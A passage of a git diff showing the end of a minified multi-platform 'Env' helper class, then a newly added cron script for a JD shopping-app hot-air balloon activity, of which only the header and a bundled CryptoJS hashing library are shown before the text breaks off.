t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_loop.js b/jd_cfd_loop.js new file mode 100644 index 0000000..f02b5e8 --- /dev/null +++ b/jd_cfd_loop.js @@ -0,0 +1,444 @@ +/* +京喜财富岛热气球 +cron 30 * * * * jd_cfd_loop.js +活动入口:京喜APP-我的-京喜财富岛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛热气球 +30 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true +================Loon============== +[Script] +cron "30 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 +===============Surge================= +京喜财富岛热气球 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js +============小火箭========= +京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); 